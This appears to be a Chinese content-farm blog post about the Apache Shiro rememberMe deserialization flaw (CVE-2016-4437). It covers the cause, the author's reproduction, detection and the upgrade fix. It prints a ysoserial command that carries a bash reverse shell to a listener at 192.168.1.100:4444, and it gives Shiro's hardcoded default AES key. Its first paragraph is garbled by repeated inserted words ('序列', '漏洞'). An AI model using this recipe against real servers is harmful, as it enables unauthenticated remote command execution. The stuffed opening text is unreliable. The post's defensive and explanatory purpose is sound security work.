游客发表
2016年,序列Apache Shiro 1.2.4版本被曝出一个反序列化漏洞,漏洞编号CVE-2016-4437。序列这个漏洞影响范围极广,漏洞从金融系统到政府平台,序列大量Java Web应用中招。漏洞问题的序列根子出在Shiro的"记住我"功能上——它把用户身份信息序列化后加密,塞进Cookie里。漏洞但加密用的序列AES密钥是硬编码在代码里的,默认值就那么一个,漏洞谁都能从源码里翻出来。序列
攻击者拿到这个密钥后,漏洞就能自己伪造一个恶意Cookie。序列Cookie里的漏洞数据被反序列化时,如果classpath里恰好有CommonsCollections这类库,序列就能触发 gadget chain,最终执行任意命令。整个过程不需要登录,不需要任何认证,一个精心构造的Cookie发过去,服务器就沦陷了。
我第一次复现这个漏洞时用的是ysoserial工具。生成payload的命令很简单:
java -jar ysoserial.jar CommonsCollections6 "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64 把生成的base64字符串塞进rememberMe字段,用默认密钥加密,发出去。监听端口上很快就弹回来一个shell。那一刻确实有点震撼——一个看似无害的"记住我"功能,背后藏着这么大的坑。
Shiro的代码逻辑是这样的:用户勾选"记住我"后,Shiro会把Principal序列化,用AES加密,再base64编码,写入名为rememberMe的Cookie。下次请求带着这个Cookie过来,Shiro先base64解码,再AES解密,最后反序列化还原对象。问题就出在最后这一步——反序列化的数据完全可控,因为密钥是公开的。
默认密钥是什么?在Shiro的AbstractRememberMeManager类里,硬编码了一个base64字符串:
kPH+bIxk5D2deZiIxcaaaA== 就这16个字节,成了无数系统的噩梦。更麻烦的是,很多开发者根本不知道这个密钥的存在,部署上线后也没改过。有些即使改了,用的也是弱密钥,跑个字典就出来了。
漏洞公开后,安全圈炸了锅。扫描器批量扫,SRC平台上的Shiro漏洞报告堆成山。有个朋友在某银行做渗透测试,用这个漏洞一口气拿了十几个内网系统。他跟我说,最夸张的是有个系统,从外网打进去到拿下数据库权限,全程不到五分钟。
修复方案其实不复杂。Shiro 1.2.5版本之后,官方不再使用硬编码密钥,而是要求开发者自己配置。但问题在于,大量老系统不会主动升级。直到今天,你随便扫一个C段,还能碰到没打补丁的Shiro。
更隐蔽的是,有些系统虽然升级了Shiro,但代码里还留着旧的加密逻辑,或者自定义了RememberMeManager但没换密钥。这种"假修复"比不修复还危险,因为管理员以为安全了,实际上门还开着。
从攻击者视角看,这个漏洞利用成本极低。不需要0day,不需要复杂的前置条件,一个公开的密钥加一个ysoserial就够了。从防御者视角看,检测也简单——看Cookie里有没有rememberMe字段,有的话尝试用默认密钥解密,能解出来就说明有问题。
我后来在几个项目中都遇到过Shiro。每次看到rememberMe这个Cookie,都会下意识地试试默认密钥。十次里有三次能成功。这个比例说明什么?说明安全更新在真实世界里的落地速度,远比我们想象的要慢。
Shiro反序列化漏洞的本质不是技术多高深,而是默认配置的安全债。一个为了方便开发者快速上手的默认值,在真实环境中变成了批量利用的入口。这种事在安全领域反复上演——Redis未授权、Elasticsearch未授权、Docker API未授权,都是同一个剧本。
写这篇文章不是要教人攻击,而是想说一个事实:你代码里的每一个默认值,都可能成为别人进入你系统的钥匙。改掉它,就这么简单。但就是有人不改。
友情链接